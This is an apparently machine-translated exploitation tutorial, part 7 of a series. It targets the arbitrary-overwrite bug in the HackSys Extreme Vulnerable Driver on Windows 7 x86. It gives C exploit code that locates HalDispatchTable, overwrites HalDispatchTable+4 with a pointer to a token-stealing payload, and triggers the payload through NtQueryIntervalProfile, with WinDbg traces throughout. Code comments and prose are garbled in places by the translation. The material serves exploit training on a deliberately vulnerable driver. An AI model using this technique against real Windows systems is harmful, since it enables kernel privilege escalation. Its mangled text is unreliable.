Exploit kernel-level vulnerabilities in Windows. Part 7 – Arbitrary dubbing (Win7 x86)

For systems based on Win 10 x64, this topic will be discussed in the next article.

The exploit code is here.

For systems based on Win 10 x64, this topic will be discussed in the next article.

The essence of vulnerability

The code is here.

NTSTATUS TriggerArbitraryOverwrite (IN PWRITE_WHAT_WHERE UserWriteWhatWhere) {
PULONG_PTR What = NULL;
PULONG_PTR Where = NULL;
NTSTATUS Status = STATUS_SUCCESS;

PAGED_CODE ();

__try {
// Verify if the buffer resides in user mode.
ProbeForRead ((PVOID) UserWriteWhatWhere,
sizeof (WRITE_WHAT_WHERE),
(ULONG) __ alignof (WRITE_WHAT_WHERE));

What = UserWriteWhatWhere-> What;
Where = UserWriteWhatWhere-> Where;

DbgPrint (“[+] UserWriteWhatWhere: 0x% p \ n”, UserWriteWhatWhere);
DbgPrint (“[+] WRITE_WHAT_WHERE Size: 0x% X \ n”, sizeof (WRITE_WHAT_WHERE));
DbgPrint (“[+] UserWriteWhatWhere-> What: 0x% p \ n”, What);
DbgPrint (“[+] UserWriteWhatWhere-> Where: 0x% p \ n”, Where);

#ifdef SECURE
// Secure Note: This is the
ProbeForRead ()
// routine before performing the write operation.
ProbeForRead () (PVOID) Where, sizeof (PULONG_PTR), (ULONG) __ alignof (PULONG_PTR));
ProbeForRead ((PVOID) What, sizeof (PULONG_PTR), (ULONG) __ alignof (PULONG_PTR));

* (Where) = * (What);
#else
DbgPrint (“[+] Triggering Arbitrary Overwrite \ n”);

The Note Vulnerability //: This is a vanilla is the Memory Overwrite Arbitrary vulnerability
// Because the developer is the writing of value Pointed by ‘for What’ to memory location The
// Pointed by ‘for Where’ Validating Moderators Cookie Family of properly without the if the values Pointed by ‘for Where’
// and ‘What’ resides in User mode
* (Where) = * (What);
#endif
}
__except (EXCEPTION_EXECUTE_HANDLER) {
Status = GetExceptionCode ();
DbgPrint (“[-] Exception Code: 0x% X \ n”, Status);
}

return Status;
}

The vulnerability is fairly obvious. The TriggerArbitraryOverwrite function allows you to write the desired value to the desired address. This possibility is, of course, very useful, but it is necessary to figure out whether we can take advantage of this vulnerability without other gaps.

Let’s consider some scenarios (which will not work, but nevertheless are useful for thinking):

  1. Rewriting the return address:
    • It will take an information leak to determine the structure of the stack or the primitive to read.
  2. To overwrite the token of the current process with the SYSTEM process token:
    • You need to know the address of the EPROCESS process SYSTEM.
  3. Overwrite the function pointer that is called with kernel privileges:
    • The article Exploiting Common Flaws in Drivers of adecade ago describes a reliable technique for solving this problem.

hal dll HalDispatchTable, and function pointers

The library hal.dll implemented a layer of hardware abstractions (Hardware Abstraction Layer), which allows you to interact with equipment without understanding technical details. This library allows Windows to run on different hardware.

The HalDispatchTable table stores function pointers for the procedures used in the HAL. Consider this table carefully.

kd> dd HalDispatchTable // Display double words at HalDispatchTable
82970430 00000004 828348a2 828351b4 82afbad7
82970440 00000000 828455ba 829bc507 82afb3d8
82,970,450 82afb683 8291c959 8295d757 8295d757
82,970,460 82,811,178 828346ce 82834f30 82833dce
82,970,470 82afbaff 8291c98b 8291caa1 828350f6
82,970,480 8291caa1 8281398c 8281b4f0 82892c8c
82970490 00000000 82af8d7f 829b3c1c 82892c9c
829704a0 00000000 82892cac 82af8f77 00000000

kd> ln 828348a2
Browse module
Set bu breakpoint

(828348a2) hal! HaliQuerySystemInformation | (82834ad0) hal! HalpAcpiTimerInit
Exact matches:
hal! HaliQuerySystemInformation (<no parameter info>)

kd> ln 828351b4
Browse module
Set bu breakpoint

(828351b4) hal! HalpSetSystemInformation | (82835234) hal! HalpDpReplaceEnd
Exact matches:
hal! HalpSetSystemInformation (<no parameter info>)

The first entry in the HalDispatchTable does not contain anything interesting. HalDispatchTable + 4 points to the HaliQuerySystemInformation procedure, and HalDispatchTable + 8 points to the HalpSetSystemInformation procedure.

These addresses are available for writing and are easily calculated (more on this later). The HaliQuerySystemInformation procedure is used less often, and accordingly, we can place the shell code at HalDispatchTable + 4 and make a call from the user mode, which will eventually lead to the call of this function.

HaliQuerySystemInformation is called from the undocumented function NtQueryIntervalProfile (which, according to the article above, is “very rarely used”). Consider this function in WinDBG:

kd> uf NtQueryIntervalProfile

… snip …

nt! NtQueryIntervalProfile + 0x6b:
82b55ec2 call nt! KeQueryIntervalProfile (82b12c97)

… snip …

kd> uf nt! KeQueryIntervalProfile

… snip …

! nt KeQueryIntervalProfile + 0x14:
82b12cab: mov dword ptr [ebp-10h], eax
82b12cae lea eax, [ebp-4]
82b12cb1 the push eax
82b12cb2 lea eax, [ebp-10h]
82b12cb5 the push eax
82b12cb6 the push 0Ch
82b12cb8 the push 1
82b12cba call dword ptr [nt! HalDispatchTable + 0x4 (82970434)]
82b12cc0 test eax, eax
82b12cc2 jl nt! KeQueryIntervalProfile + 0x38 (82b12ccf) Branch

… snip …

The function at [nt! HalDispatchTable + 0x4] is called at nt! KeQueryIntervalProfile + 0x23. We can initiate this call from the user mode, and, I hope, after the rewriting there will be no problems.

The exploit will do the following:

  1. Get the location of the HalDispatchTable table in the kernel.
  2. Overwrite HalDispatchTable + 4 with the payload address.
  3. Calculate the NtQueryIntervalProfile address and call this function.

Getting the address of the HalDispatchTable table

HalDispatchTable in the kernel control module (ntoskrnl or another instance depending on the OS / processor). To calculate the address of this table, we need:

  1. Get the core address of the kernel in the kernel using the NtQuerySystemInformation function.
  2. Load the kernel in user mode and get the offset to the HalDispatchTable table.
  3. Add an offset to the core address of the kernel.

SYSTEM_MODULE krnlInfo = * getNtoskrnlInfo ();
// Get kernel base address in kernelspace
ULONG addr_ntoskrnl = (ULONG) krnlInfo.ImageBaseAddress;
printf (“[+] Found address to ntoskrnl.exe at 0x% x. \ n”, addr_ntoskrnl);

// Load kernel in use in userspace to get the offset to HalDispatchTable
// NOTE: DO NOT HARDCODE KERNEL MODULE NAME
printf (“[+] Kernel in use:% s. \ N”, krnlInfo.Name);
char * krnl_name = strrchr ((char *) krnlInfo.Name, ‘\\’) + 1;
HMODULE user_ntoskrnl = LoadLibraryEx (krnl_name, NULL, DONT_RESOLVE_DLL_REFERENCES);
if (user_ntoskrnl == NULL)
{
printf (“[-] Failed to load kernel image. \ n”);
exit (-1);
}

printf (“[+] Loaded kernel in usermode using LoadLibraryEx: 0x% x. \ n”, user_ntoskrnl);
ULONG user_HalDispatchTable = (ULONG) GetProcAddress (user_ntoskrnl, “HalDispatchTable”);
if (user_HalDispatchTable == NULL)
{
printf (“[-] Failed to locate HalDispatchTable. \ n”);
exit (-1);
}

printf (“[+] Found HalDispatchTable in usermode: 0x% x. \ n”, user_HalDispatchTable);

// Calculate address of HalDispatchTable in kernelspace
ULONG addr_HalDispatchTable = addr_ntoskrnl – (ULONG) user_ntoskrnl + user_HalDispatchTable;
printf (“[+] Found address to HalDispatchTable at 0x% x. \ n”, addr_HalDispatchTable);

Overwriting HalDispatchTable +4

To rewrite this address, we need to pass a buffer, which is brought to the structure WRITE_WHAT_WHERE, containing two pointers: what (what we write) and where (where we write).

typedef struct _WRITE_WHAT_WHERE {
PULONG_PTR What;
PULONG_PTR Where;
} WRITE_WHAT_WHERE, * PWRITE_WHAT_WHERE;

Do not forget that we are dealing with pointers:

ULONG What = (ULONG) & StealToken;
* uBuffer = (ULONG) & What;
* (uBuffer + 1) = (addr_HalDispatchTable + 4);

DWORD bytesRet;
DeviceIoControl (
driver,
HACKSYS_EVD_IOCTL_ARBITRARY_OVERWRITE,
uBuffer,
SIZE,
NULL,
0,
& bytesRet,
NULL);

We check what happened. Put the breakpoint before the start of the exploit.

kd> bu HEVD! TriggerArbitraryOverwrite 0x61

kd> g
[+] UserWriteWhatWhere: 0x000E0000
[+] WRITE_WHAT_WHERE Size: 0x8
[+] UserWriteWhatWhere-> What: 0x0025FF38
[+] UserWriteWhatWhere-> Where: 0x82966434
[+] Triggering Arbitrary Overwrite
Breakpoint 2 hit
HEVD! TriggerArbitraryOverwrite + 0x61:
93d71b69 mov eax, dword ptr [edi]

Then we check the data.

kd> dd 0x0025FF38
0025ff38 00f012d8 bae57df8 0025ff88 00f014d9
0025ff48 00000001 002a06a8 0029e288 bae57d30
0025ff58 00000000 00000000 7ffdc000 2c407500
0025ff68 00000001 00769cbf 0025ff54 96a5085a
0025ff78 0025ffc4 00f01c7b ba30aa60 00000000
0025ff88 0025ff94 75ebee1c 7ffdc000 0025ffd4
0025ff98 77b23ab3 7ffdc000 779af1ec 00000000
0025ffa8 00000000 7ffdc000 00000000 00000000
kd> ln 00f012d8
Browse module
Set bu breakpoint

[C: \ Users \ abatchy \ source \ repos \ HEVD \ HEVD \ shell32.asm @ 6] (00f012d8) HEVD_f00000! StealToken | (00f01312) HEVD_f00000! __ security_check_cookie
Exact matches:
HEVD_f00000! StealToken (void)

The first part was successful. As planned, we passed the pointer to the payload. We check the overwriting of the address (the where part).

kd> ln 0x82966434
Browse module
Set bu breakpoint

(82966430) nt! HalDispatchTable + 0x4 | (8296648c) nt! BuiltinCallbackReg

As planned, the variable Where points to the address nt! HalDispatchTable + 0x4.

kd> p
HEVD TriggerArbitraryOverwrite + 0x63:!
93d71b6b mov dword ptr [ebx], eax
kd> p
HEVD TriggerArbitraryOverwrite + 0x65:!
! 93d71b6d jmp HEVD TriggerArbitraryOverwrite + 0x8b (93d71b93)
kd> dd HalDispatchTable
0052c430 00000004 006b7aaf 006b7ac3 006b7ad7
0052c440 00000000 004015ba 00578507 006b73d8
0052c450 006b7683 004d8959 00,519,757 00,519,757
0052c460 004d8966 004d8977 00000000 006b8de7
0052c470 006b7aff 004d898b 004d8aa1 006b7b11
0052c480 004d8aa1 00000000 00000000 0044ec8c
0052c490 006b4d7f 00000000 0056fc1c 0044ec9c
0052c4a0 0044ecac 006b4f77 00000000 00000000

Running the payload

As explained earlier, we need to call the function NtQueryIntervalProfile, whose address can be obtained from the library ntdll.dll.

// Trigger the payload by calling NtQueryIntervalProfile ()
HMODULE ntdll = GetModuleHandle (“ntdll”);
PtrNtQueryIntervalProfile _NtQueryIntervalProfile = (PtrNtQueryIntervalProfile) GetProcAddress (ntdll, “NtQueryIntervalProfile”);
if (_NtQueryIntervalProfile == NULL)
{
printf (“[-] Failed to get address of NtQueryIntervalProfile. \ n”);
exit (-1);
}
ULONG whatever;
_NtQueryIntervalProfile (2, & whatever);

The full version of the exploit is here.

Leave a Reply